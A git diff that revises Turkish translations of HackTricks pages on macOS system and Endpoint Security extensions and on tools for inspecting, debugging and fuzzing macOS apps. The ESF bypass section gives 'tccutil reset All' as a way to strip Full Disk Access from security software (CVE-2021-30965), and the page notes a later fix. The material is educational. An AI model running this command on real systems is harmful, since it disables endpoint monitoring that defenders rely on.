@@ -24,27 +25,27 @@ HackTricks'ı desteklemenin diğer yolları: ### **DriverKit Uzantıları** -DriverKit, **donanım desteği sağlayan** kernel uzantılarının yerine geçen bir yapıdır. USB, Seri, NIC ve HID sürücüleri gibi aygıt sürücülerinin kernel alanı yerine kullanıcı alanında çalışmasına izin verir. DriverKit çerçevesi, belirli I/O Kit sınıflarının kullanıcı alanı sürümlerini içerir ve çekirdek, normal I/O Kit olaylarını kullanıcı alanına ileterek bu sürücülerin çalışması için daha güvenli bir ortam sunar. +DriverKit, **donanım desteği sağlayan** kernel uzantılarının yerine geçen bir sistemdir. USB, Seri, NIC ve HID sürücüleri gibi cihaz sürücülerinin kernel alanı yerine kullanıcı alanında çalışmasına izin verir. DriverKit çerçevesi, belirli I/O Kit sınıflarının kullanıcı alanı sürümlerini içerir ve çekirdek, normal I/O Kit olaylarını kullanıcı alanına ileterek bu sürücülerin çalışması için daha güvenli bir ortam sunar. ### **Ağ Uzantıları** -Ağ Uzantıları, ağ davranışlarını özelleştirmeyi sağlar. Birkaç tür Ağ Uzantısı bulunmaktadır: +Ağ Uzantıları, ağ davranışlarını özelleştirmeyi sağlar. Birkaç tür Ağ Uzantısı vardır: -* **Uygulama Proxy**: Bu, bağlantılar (veya akışlar) yerine bireysel paketlere dayalı ağ trafiğini işleyen özel bir VPN istemcisi oluşturmak için kullanılır. -* **Paket Tüneli**: Bu, bireysel paketlere dayalı ağ trafiğini işleyen özel bir VPN istemcisi oluşturmak için kullanılır. +* **Uygulama Proxy**: Bu, bağlantılar (veya akışlar) yerine bireysel paketlere dayalı olarak ağ trafiğini işleyen özel bir VPN istemcisi oluşturmak için kullanılır. +* **Paket Tüneli**: Bu, bireysel paketlere dayalı olarak ağ trafiğini işleyen özel bir VPN istemcisi oluşturmak için kullanılır. * **Veri Filtresi**: Bu, ağ "akışlarını" filtrelemek için kullanılır. Ağ verilerini akış düzeyinde izleyebilir veya değiştirebilir. * **Paket Filtresi**: Bu, bireysel ağ paketlerini filtrelemek için kullanılır. Ağ verilerini paket düzeyinde izleyebilir veya değiştirebilir. -* **DNS Proxy**: Bu, özel bir DNS sağlayıcı oluşturmak için kullanılır. DNS isteklerini ve yanıtlarını izlemek veya değiştirmek için kullanılabilir. +* **DNS Proxy**: Bu, özel bir DNS sağlayıcısı oluşturmak için kullanılır. DNS isteklerini ve yanıtlarını izlemek veya değiştirmek için kullanılabilir. ## Uç Nokta Güvenlik Çerçevesi -Uç Nokta Güvenliği, Apple'ın macOS'ta sağladığı bir çerçevedir ve sistem güvenliği için bir dizi API sağlar. **Kötü niyetli faaliyetleri tanımlamak ve korumak için ürünler geliştirmek isteyen güvenlik satıcıları ve geliştiriciler tarafından kullanılması amaçlanmıştır**. +Uç Nokta Güvenliği, Apple'ın macOS'ta sağladığı bir çerçevedir ve sistem güvenliği için bir dizi API sağlar. **Kötü amaçlı faaliyetleri tanımlamak ve korumak için sistem etkinliğini izlemek ve kontrol etmek üzere güvenlik satıcıları ve geliştiriciler tarafından kullanılması amaçlanmıştır**. -Bu çerçeve, işlem yürütmeleri, dosya sistemi olayları, ağ ve çekirdek olayları gibi **sistem etkinliklerini izlemek ve kontrol etmek için bir dizi API sağlar**. +Bu çerçeve, işlem yürütmeleri, dosya sistemi olayları, ağ ve çekirdek olayları gibi **sistem etkinliklerini izlemek ve kontrol etmek için bir dizi API koleksiyonu sağlar**. -Bu çerçevenin çekirdeği, **`/System/Library/Extensions/EndpointSecurity.kext`** konumunda bulunan bir Kernel Uzantısı (KEXT) olarak uygulanmıştır. Bu KEXT'in birkaç temel bileşeni bulunmaktadır: +Bu çerçevenin çekirdeği, **`/System/Library/Extensions/EndpointSecurity.kext`** konumunda bulunan bir Kernel Uzantısı (KEXT) olarak uygulanmıştır. Bu KEXT, birkaç temel bileşenden oluşur: -* **EndpointSecurityDriver**: Bu, çekirdek uzantısının "giriş noktası" olarak hareket eder. İşletim sistemi ile Uç Nokta Güvenlik çerçevesi arasındaki ana etkileşim noktasıdır. +* **EndpointSecurityDriver**: Bu, çekirdek uzantısının "giriş noktası" olarak hareket eder. OS ile Uç Nokta Güvenlik çerçevesi arasındaki ana etkileşim noktasıdır. * **EndpointSecurityEventManager**: Bu bileşen, çekirdek kancalarını uygulamaktan sorumludur. Çekirdek kancaları, çerçevenin sistem çağrılarını engelleyerek sistem olaylarını izlemesine olanak tanır. * **EndpointSecurityClientManager**: Bu, kullanıcı alanı istemcileriyle iletişimi yönetir, hangi istemcilerin bağlı olduğunu ve olay bildirimleri alması gerektiğini takip eder. * **EndpointSecurityMessageManager**: Bu, mesajları ve olay bildirimlerini kullanıcı alanı istemcilerine gönderir. @@ -54,7 +55,7 @@ Uç Nokta Güvenlik çerçevesinin izleyebileceği olaylar şunlara ayrılır: * Dosya olayları * İşlem olayları * Soket olayları -* Çekirdek olayları (örneğin bir çekirdek uzantısını yükleme/boşaltma veya bir I/O Kit cihazını açma) +* Çekirdek olayları (örneğin, bir çekirdek uzantısını yükleme/boşaltma veya bir I/O Kit cihazını açma) ### Uç Nokta Güvenlik Çerçevesi Mimarisi @@ -62,44 +63,45 @@ Uç Nokta Güvenlik çerçevesinin izleyebileceği olaylar şunlara ayrılır: Uç Nokta Güvenlik çerçevesiyle **kullanıcı alanı iletişimi**, IOUserClient sınıfı aracılığıyla gerçekleşir. Çağrı türüne bağlı olarak iki farklı alt sınıf kullanılır: -* **EndpointSecurityDriverClient**: Bu, yalnızca sistem işlemi `endpointsecurityd` tarafından tutulan `com.apple.private.endpoint-security.manager` yetkisini gerektirir. +* **EndpointSecurityDriverClient**: Bu, yalnızca sistem süreci `endpointsecurityd` tarafından tutulan `com.apple.private.endpoint-security.manager` yetkisini gerektirir. * **EndpointSecurityExternalClient**: Bu, `com.apple.developer.endpoint-security.client` yetkisini gerektirir. Bu genellikle Uç Nokta Güvenlik çerçevesiyle etkileşimde bulunması gereken üçüncü taraf güvenlik yazılımı tarafından kullanılır. Uç Nokta Güvenlik Uzantıları:**`libEndpointSecurity.dylib`**, sistem uzantılarının çekirdek ile iletişim kurmak için kullandığı C kütüphanesidir. Bu kütüphane, Endpoint Security KEXT ile iletişim kurmak için I/O Kit (`IOKit`) kullanır. -**`endpointsecurityd`**, özellikle erken başlatma sürecinde uç nokta güvenlik sistem uzantılarını yöneten ve başlatan önemli bir sistem hizmetidir. Yalnızca `Info.plist` dosyasındaki **`NSEndpointSecurityEarlyBoot`** ile işaretlenmiş **yalnızca sistem uzantıları**, bu erken başlatma işleminden faydalanır. +**`endpointsecurityd`**, özellikle erken başlatma sürecinde uç nokta güvenlik sistem uzantılarını yöneten ve başlatan önemli bir sistem daemonudur. **Yalnızca** `Info.plist` dosyasındaki **`NSEndpointSecurityEarlyBoot`** ile işaretlenen **sistem uzantıları**, bu erken başlatma işleminden faydalanır. -Başka bir sistem hizmeti olan **`sysextd`**, sistem uzantılarını doğrular ve bunları uygun sistem konumlarına taşır. Daha sonra ilgili hizmetten uzantının yüklenmesini ister. **`SystemExtensions.framework`**, sistem uzantılarını etkinleştirme ve devre dışı bırakma işlevinden sorumludur. +Başka bir sistem daemonu olan **`sysextd`**, sistem uzantılarını doğrular ve bunları uygun sistem konumlarına taşır. Daha sonra ilgili daemonun uzantıyı yüklemesini ister. **`SystemExtensions.framework`**, sistem uzantılarını etkinleştirme ve devre dışı bırakma işlevinden sorumludur. ## ESF'nin Atlatılması -ESF, kırmızı takımı tespit etmeye çalışacak güvenlik araçları tarafından kullanılır, bu nedenle bunun nasıl atlatılabileceğine dair herhangi bir bilgi ilginç gelebilir. +ESF, kırmızı takımı tespit etmeye çalışacak güvenlik araçları tarafından kullanılır, bu yüzden bunun nasıl atlatılabileceği hakkında herhangi bir bilgi ilginç gelebilir. ### CVE-2021-30965 -İşin aslı, güvenlik uygulamasının **Tam Disk Erişimi izinlerine** sahip olması gerekmektedir. Bu izni kaldırabilen bir saldırgan, yazılımın çalışmasını engelleyebilir: +İşin aslı, güvenlik uygulamasının **Tam Disk Erişimi izinlerine** sahip olması gerekmektedir. Bu nedenle, bir saldırgan bunu kaldırabilirse, yazılımın çalışmasını engelleyebilir: ```bash tccutil reset All ``` -**Daha fazla bilgi** için bu bypass ve ilgili olanlar hakkında [#OBTS v5.0: "EndpointSecurity'ın Achilles Topu" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI) konuşmasına bakabilirsiniz. +**Daha fazla bilgi** için bu bypass ve ilgili olanlar hakkında [#OBTS v5.0: "EndpointSecurity'ın Achilles Topuğu" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI) konuşmasına bakabilirsiniz. -Sonunda, bu, **`tccd`** tarafından yönetilen güvenlik uygulamasına yeni izin **`kTCCServiceEndpointSecurityClient`** verilerek düzeltildi, böylece `tccutil` izinlerini temizlemez ve çalışmasını engellemez. +Sonunda, **`tccd`** tarafından yönetilen güvenlik uygulamasına yeni izin **`kTCCServiceEndpointSecurityClient`** verilerek bu izinlerini temizlemesini önleyerek çalışmasını engellemesi engellendi. ## Referanslar * [**OBTS v3.0: "Endpoint Security & Insecurity" - Scott Knight**](https://www.youtube.com/watch?v=jaVkpM1UqOs) * [**https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html**](https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html) +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitimi AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitimi GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Red Team Expert)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**. -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* Hacking püf noktalarını paylaşarak PR'ler göndererek **HackTricks** ve **HackTricks Cloud** github depolarına katkıda bulunun.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md index 0278707c3..d595f317b 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md @@ -1,24 +1,25 @@ # macOS Uygulamaları - İnceleme, hata ayıklama ve Fuzzing +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! -* [**Resmi PEASS & HackTricks ürünleri**]'ni edinin (https://peass.creator-spring.com) -* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'ler**] koleksiyonumuz (https://opensea.io/collection/the-peass-family) -* **Katılın** 💬 [**Discord grubuna**] (https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**] veya bizi **Twitter** 🐦 [**@carlospolopm**] (https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**] (https://github.com/carlospolop/hacktricks-cloud) github depolarına. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ### [WhiteIntel](https://whiteintel.io)
-[**WhiteIntel**](https://whiteintel.io), bir şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **kompromize edilip edilmediğini** kontrol etmek için **ücretsiz** işlevler sunan **dark-web** destekli bir arama motorudur. +[**WhiteIntel**](https://whiteintel.io), şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **kompromize edilip edilmediğini** kontrol etmek için **ücretsiz** işlevler sunan **dark-web** destekli bir arama motorudur. WhiteIntel'in başlıca amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir. @@ -37,22 +38,15 @@ otool -tv /bin/ps #Decompile application ``` {% code overflow="wrap" %} -Aşağıda, macOS uygulamalarını inceleme, hata ayıklama ve bulanıklık testi yapma sürecinde kullanılabilecek bazı araçlar ve teknikler bulunmaktadır. +Aşağıda, macOS uygulamalarını inceleme, hata ayıklama ve bulanıklık testi yapma süreçlerini adım adım açıklanmaktadır. -## Uygulamaları İnceleme ve Hata Ayıklama +1. **Uygulamaları İnceleme**: Uygulamanın işlevselliğini ve güvenlik önlemlerini anlamak için statik analiz araçları kullanın. + +2. **Hata Ayıklama**: Uygulamanın çalışma zamanındaki davranışını anlamak için dinamik analiz araçları ve hata ayıklama tekniklerini kullanın. -### 1. **Hopper Disassembler** -Hopper Disassembler, macOS uygulamalarını tersine mühendislik yapmak için kullanılan güçlü bir araçtır. Uygulamanın çalışma mantığını ve işlevlerini anlamak için kullanışlıdır. +3. **Bulanıklık Testi (Fuzzing)**: Uygulamanın girdilerine rastgele veriler göndererek hatalı davranışları tespit etmeye çalışın. -### 2. **LLDB Debugger** -LLDB Debugger, macOS'ta hata ayıklama yapmak için kullanılan bir araçtır. Uygulamanın çalışma zamanında değişkenleri incelemek, hata ayıklamak ve kodu adım adım izlemek için kullanılabilir. - -## Bulanıklık Testi - -### 1. **American Fuzzy Lop (AFL)** -AFL, macOS uygulamalarında bulanıklık testi yapmak için etkili bir araçtır. Uygulamanın girişine farklı veri setleri vererek hatalı girişlerin neden olduğu çökmeleri ve güvenlik açıklarını tespit etmek için kullanılabilir. - -Bu araçlar ve teknikler, macOS uygulamalarının güvenliğini değerlendirmek ve olası güvenlik açıklarını tespit etmek için kullanılabilir. +Bu adımları uygulayarak, macOS uygulamalarının güvenlik açıklarını tespit edebilir ve geliştiricilerin bu açıkları kapatmalarına yardımcı olabilirsiniz. ```bash objdump -m --dylibs-used /bin/ls #List dynamically linked libraries objdump -m -h /bin/ls # Get headers information @@ -61,7 +55,7 @@ objdump -m --full-contents /bin/ls # Dump every section objdump -d /bin/ls # Dissasemble the binary objdump --disassemble-symbols=_hello --x86-asm-syntax=intel toolsdemo #Disassemble a function using intel flavour ``` -{% endcode %} dosyasındaki içerik şu şekildedir: +{% endcode %} ```bash nm -m ./tccd # List of symbols ``` @@ -130,7 +124,7 @@ ldid -S/tmp/entl.xml ``` ### SuspiciousPackage -[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html) şüpheli **.pkg** dosyalarını (kurulum dosyaları) incelemek ve içeriğini kurmadan önce görmek için faydalı bir araçtır.\ +[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html), kurmadan önce **.pkg** dosyalarını (kurulum dosyaları) incelemek ve içinde ne olduğunu görmek için kullanışlı bir araçtır.\ Bu kurulum dosyaları genellikle kötü amaçlı yazılım yazarlarının genellikle kötü amaçlı yazılımı **sürdürmek** için istismar ettikleri `preinstall` ve `postinstall` bash betiklerine sahiptir. ### hdiutil @@ -141,9 +135,9 @@ hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg ``` ### Paketlenmiş ikili dosyalar -- Yüksek entropiyi kontrol et -- Dizeleri kontrol et (anlaşılabilir dize neredeyse yoksa, paketlenmiş) -- MacOS için UPX paketleyici bir "\_\_XHDR" bölümü oluşturur +* Yüksek entropi kontrolü yapın +* Dizeleri kontrol edin (anlaşılabilir dize neredeyse yoksa, paketlenmiş) +* MacOS için UPX paketleyici bir "\_\_XHDR" adında bir bölüm oluşturur ## Statik Objective-C analizi @@ -153,10 +147,10 @@ hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg Objective-C ile yazılan programların [Mach-O ikili dosyalarına](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md) derlendiğinde sınıf bildirimlerini **sakladığını unutmayın**. Bu tür sınıf bildirimleri şunları içerir: {% endhint %} -- Tanımlanan arayüzler -- Arayüz metodları -- Arayüz örnek değişkenleri -- Tanımlanan protokoller +* Tanımlanan arayüzler +* Arayüz metodları +* Arayüz örnek değişkenleri +* Tanımlanan protokoller Bu isimler, ikili dosyanın tersine mühendisliğini zorlaştırmak için karıştırılabilir. @@ -168,9 +162,9 @@ Objective-C kullanan bir ikili dosyada bir fonksiyon çağrıldığında, derlen Bu fonksiyonun beklediği parametreler şunlardır: -- İlk parametre (**self**), "mesajı alan sınıf örneğine işaret eden bir işaretçi"dir. Daha basitçe, bu, yöntemin çağrıldığı nesnedir. Eğer yöntem bir sınıf yöntemi ise, bu, sınıf nesnesinin bir örneği olacaktır, bir örnek yöntem için ise self, bir nesne olarak sınıfın örneğine işaret edecektir. -- İkinci parametre, (**op**), "mesajı işleyen yöntemin seçicisi"dir. Daha basitçe, bu sadece yöntemin **adıdır**. -- Geri kalan parametreler, yöntem tarafından **gereken değerlerdir** (op). +* İlk parametre (**self**), "mesajı alacak sınıf örneğine işaret eden bir işaretçi"dir. Daha basitçe, bu, yöntemin çağrıldığı nesnedir. Eğer yöntem bir sınıf yöntemi ise, bu, sınıf nesnesinin bir örneği olacaktır, bir örnek yöntem için ise, self, bir nesne olarak sınıfın örneğine işaret edecektir. +* İkinci parametre, (**op**), "mesajı işleyen yöntemin seçicisi"dir. Daha basitçe, bu sadece yöntemin **adıdır**. +* Geri kalan parametreler, yöntem tarafından gereken **değerlerdir** (op). Bu bilgilere **ARM64**'te `lldb` ile nasıl kolayca ulaşılacağını buradan görebilirsiniz: @@ -188,13 +182,13 @@ x64: | **4. argüman** | **rcx** | **yönteme 2. argüman** | | **5. argüman** | **r8** | **yönteme 3. argüman** | | **6. argüman** | **r9** | **yönteme 4. argüman** | -| **7. ve sonrası argüman** |

rsp+
(yığında)

| **yönteme 5. ve sonrası argüman** | +| **7. ve sonraki argüman** |

rsp+
(yığında)

| **yönteme 5. ve sonraki argümanlar** | -### ObjectiveC meta verilerini dök +### ObjectiveC meta verilerini dökün ### Dynadump -[**Dynadump**](https://github.com/DerekSelander/dynadump), Objective-C ikili dosyalarını sınıf-dump etmek için bir araçtır. Github, dylib'leri belirtir ancak bu aynı zamanda yürütülebilir dosyalarla da çalışır. +[**Dynadump**](https://github.com/DerekSelander/dynadump), Objective-C ikili dosyalarını sınıf-dump etmek için bir araçtır. Github dylib'leri belirtse de bu aynı zamanda yürütülebilir dosyalarla da çalışır. ```bash ./dynadump dump /path/to/bin ``` @@ -210,11 +204,11 @@ objdump --macho --objc-meta-data /path/to/bin [**class-dump**](https://github.com/nygard/class-dump/) orijinal bir araçtır ve ObjetiveC biçimli kodlardaki sınıflar, kategoriler ve protokoller için deklarasyonlar oluşturur. -Eski ve bakımsız olduğundan muhtemelen düzgün çalışmayacaktır. +Eski ve bakımsız olduğundan dolayı muhtemelen düzgün çalışmayacaktır. #### ICDump -[**iCDump**](https://github.com/romainthomas/iCDump) modern ve çapraz platformlu bir Objective-C sınıf döküm aracıdır. Mevcut araçlarla karşılaştırıldığında, iCDump Apple ekosisteminden bağımsız olarak çalışabilir ve Python bağlantı noktalarını ortaya çıkarır. +[**iCDump**](https://github.com/romainthomas/iCDump) modern ve çapraz platformlu bir Objective-C sınıf döküm aracıdır. Mevcut araçlarla karşılaştırıldığında, iCDump Apple ekosisteminden bağımsız olarak çalışabilir ve Python bağlantıları sunar. ```python import icdump metadata = icdump.objc.parse("/path/to/bin") @@ -237,9 +231,9 @@ Mem: 0x100027064-0x1000274cc __TEXT.__swift5_fieldmd Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture [...] ``` -Ayrıca, bu bölümde depolanan bilgiler hakkında daha fazla bilgiye [**bu blog yazısında**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html) ulaşabilirsiniz. +Ayrıca, bu bölümde depolanan bilgiler hakkında daha fazla bilgiye [bu blog yazısında](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html) ulaşabilirsiniz. -Ayrıca, **Swift ikili dosyalarında semboller olabilir** (örneğin kütüphaneler, işlevlerine erişmek için sembollerin depolanması gerektiği için). **Semboller genellikle işlev adı ve özniteliği hakkında bilgi içerir** ve çirkin bir şekilde saklanır, bu nedenle çok yararlıdır ve orijinal adı alabilen "**demanglers"** bulunmaktadır: +Ayrıca, **Swift ikili dosyalarının sembolleri olabilir** (örneğin kütüphaneler sembolleri depolamalıdır böylece işlevlerine çağrı yapılabilir). **Semboller genellikle işlev adı ve özniteliği hakkında bilgi içerir** ve çirkin bir şekilde saklanır, bu yüzden çok yararlıdır ve **"demanglers"** adında orijinal adı alabilen araçlar bulunmaktadır: ```bash # Ghidra plugin https://github.com/ghidraninja/ghidra_scripts/blob/master/swift_demangler.py @@ -259,12 +253,12 @@ Not edin ki, macOS'ta **sistem ikililerini enstrümanize etmek** için (örneği ### API'lar -macOS, işlemler hakkında bilgi veren bazı ilginç API'lar sunar: +macOS, işlemler hakkında bilgi veren bazı ilginç API'ler sunar: -* `proc_info`: Bu, her işlem hakkında birçok bilgi veren ana API'dir. Diğer işlemler hakkında bilgi almak için kök kullanıcı olmanız gerekir, ancak özel yetkilendirmelere veya mach portlarına ihtiyacınız yoktur. -* `libsysmon.dylib`: İşlemler hakkında bilgi almayı sağlar XPC açık fonksiyonları aracılığıyla, ancak `com.apple.sysmond.client` yetkilendirmesine sahip olmak gereklidir. +* `proc_info`: Bu, her işlem hakkında birçok bilgi veren ana API'dir. Diğer işlemler hakkında bilgi almak için kök kullanıcı olmanız gerekir, ancak özel yetkilere veya mach portlarına ihtiyacınız yoktur. +* `libsysmon.dylib`: İşlemler hakkında bilgi almayı sağlar XPC iletişimine açık işlevler aracılığıyla, ancak `com.apple.sysmond.client` yetkisine sahip olmak gereklidir. -### Stackshot & microstackshots +### Stackshot ve microstackshots **Stackshotting**, işlemlerin durumunu yakalamak için kullanılan bir tekniktir, tüm çalışan iş parçacıklarının çağrı yığınlarını içerir. Bu, özellikle hata ayıklama, performans analizi ve sistemin belirli bir noktasındaki davranışını anlama açısından oldukça yararlıdır. iOS ve macOS'ta, stackshotting, **`sample`** ve **`spindump`** gibi araçlar ve yöntemler kullanılarak gerçekleştirilebilir. @@ -272,9 +266,9 @@ macOS, işlemler hakkında bilgi veren bazı ilginç API'lar sunar: Bu araç (`/usr/bini/ysdiagnose`), temelde `ps`, `zprint` gibi onlarca farklı komutu çalıştırarak bilgisayarınızdan birçok bilgi toplar. -Bu **kök** olarak çalıştırılmalıdır ve `/usr/libexec/sysdiagnosed` daemon'ı `com.apple.system-task-ports` ve `get-task-allow` gibi oldukça ilginç yetkilendirmelere sahiptir. +Bu **kök** olarak çalıştırılmalıdır ve `/usr/libexec/sysdiagnosed` daemon'ı `com.apple.system-task-ports` ve `get-task-allow` gibi oldukça ilginç yetkilere sahiptir. -Plist dosyası `/System/Library/LaunchDaemons/com.apple.sysdiagnose.plist` içinde bulunur ve 3 MachServices'i bildirir: +Plist dosyası `/System/Library/LaunchDaemons/com.apple.sysdiagnose.plist` içinde bulunur ve 3 MachServices'i tanımlar: * `com.apple.sysdiagnose.CacheDelete`: /var/rmp içindeki eski arşivleri siler * `com.apple.sysdiagnose.kernel.ipc`: Özel port 23 (çekirdek) @@ -282,23 +276,23 @@ Plist dosyası `/System/Library/LaunchDaemons/com.apple.sysdiagnose.plist` için ### Birleşik Günlükler -MacOS, bir uygulama çalıştırılırken **ne yaptığını anlamaya çalışırken** oldukça yararlı olabilecek birçok günlük oluşturur. +MacOS, bir uygulamayı çalıştırırken **ne yaptığını anlamaya çalışırken** oldukça yararlı olabilecek birçok günlük oluşturur. -Ayrıca, **kullanıcı** veya **bilgisayar** **tanımlanabilir** bilgileri **gizlemek** için `` etiketini içeren bazı günlükler bulunmaktadır. Bununla birlikte, bu bilgileri açıklamak için bir sertifika **kurulabilir**. [**Buradan**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log) açıklamaları takip edebilirsiniz. +Ayrıca, bazı günlükler, bazı **kullanıcı** veya **bilgisayar** **tanımlanabilir** bilgileri **gizlemek** için `` etiketini içerecektir. Bununla birlikte, bu bilgileri açıklamak için bir sertifika **yüklenebilir**. [**Buradan**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log) açıklamaları takip edin. ### Hopper #### Sol panel -Hopper'ın sol panelinde, ikilinin sembolleri (**Etiketler**), prosedürlerin ve fonksiyonların listesi (**Proc**) ve dizeler (**Str**) görülebilir. Bunlar, Mac-O dosyasının çeşitli bölümlerinde tanımlanan dizelerin tamamı değildir (_cstring veya_ `objc_methname` gibi). +Hopper'ın sol panelinde, ikilinin sembolleri (**Etiketler**), prosedürlerin ve işlevlerin listesi (**Proc**) ve dizeler (**Str**) görülebilir. Bunlar tüm dizeler değildir, ancak Mac-O dosyasının çeşitli bölümlerinde tanımlananlar (örneğin _cstring veya_ `objc_methname`) dır. #### Orta panel -Orta panelde **ayrıştırılmış kodu** görebilirsiniz. Ve bunu **ham** ayrıştırma, **grafik**, **derlenmiş** ve **ikili** olarak görebilirsiniz ilgili simgeye tıklayarak: +Orta panelde **dizilmiş kodu** görebilirsiniz. Ve bunu **ham** bir şekilde, **grafik** olarak, **derlenmiş** ve **ikili** olarak görebilirsiniz, ilgili simgeye tıklayarak:
-Kod nesnesine sağ tıklayarak **o nesneye referanslardan/alınan nesnelere bakabilirsiniz** veya hatta adını değiştirebilirsiniz (bu dekompilasyon pseudokodunda çalışmaz): +Bir kod nesnesine sağ tıklayarak **o nesneye referanslara/gelen nesnelere** bakabilir veya adını değiştirebilirsiniz (bu, derlenmiş sözde kodda çalışmaz):
@@ -306,16 +300,16 @@ Ayrıca, **orta aşağıda python komutları yazabilirsiniz**. #### Sağ panel -Sağ panelde, **gezinme geçmişi** (şu anki duruma nasıl ulaştığınızı bilmenizi sağlar), bu işlevi **çağıran tüm işlevleri ve bu işlevin çağırdığı tüm işlevleri görebileceğiniz** **çağrı grafiği** ve **yerel değişkenler** bilgilerini görebilirsiniz. +Sağ panelde, **gezinme geçmişi** (şu anki duruma nasıl geldiğinizi bilmenizi sağlar), bu işlevi **çağıran tüm işlevleri** ve bu işlevin **çağırdığı tüm işlevleri** görebileceğiniz **çağrı grafiği** ve **yerel değişkenler** bilgisi gibi ilginç bilgileri görebilirsiniz. ### dtrace -Kullanıcılara uygulamalara son derece **düşük seviyede** erişim sağlar ve kullanıcılara programları **izleme** ve hatta yürütme akışlarını değiştirme olanağı sunar. Dtrace, çekirdeğin her yerine yerleştirilen **probeleri** kullanır ve sistem çağrılarının başlangıcı ve sonu gibi konumlarda bulunur. +Kullanıcılara uygulamalara son derece **düşük seviyede** erişim sağlar ve kullanıcılara programları **izleme** ve hatta yürütme akışlarını değiştirme olanağı sunar. Dtrace, **çekirdeğin her yerine yerleştirilen** ve sistem çağrılarının başlangıcı ve sonu gibi konumlarda bulunan **probeleri** kullanır. -DTrace, her sistem çağrısı için bir prob oluşturmak için **`dtrace_probe_create`** işlevini kullanır. Bu probeler, her sistem çağrısının **giriş ve çıkış noktasında tetiklenebilir**. DTrace ile etkileşim /dev/dtrace üzerinden gerçekleşir ve yalnızca kök kullanıcılar için kullanılabilir. +DTrace, her sistem çağrısı için bir prob oluşturmak için **`dtrace_probe_create`** işlevini kullanır. Bu probeler, her sistem çağrısının **giriş ve çıkış noktasında tetiklenebilir**. DTrace ile etkileşim, yalnızca kök kullanıcılar için kullanılabilen /dev/dtrace üzerinden gerçekleşir. {% hint style="success" %} -SIP korumasını tamamen devre dışı bırakmadan 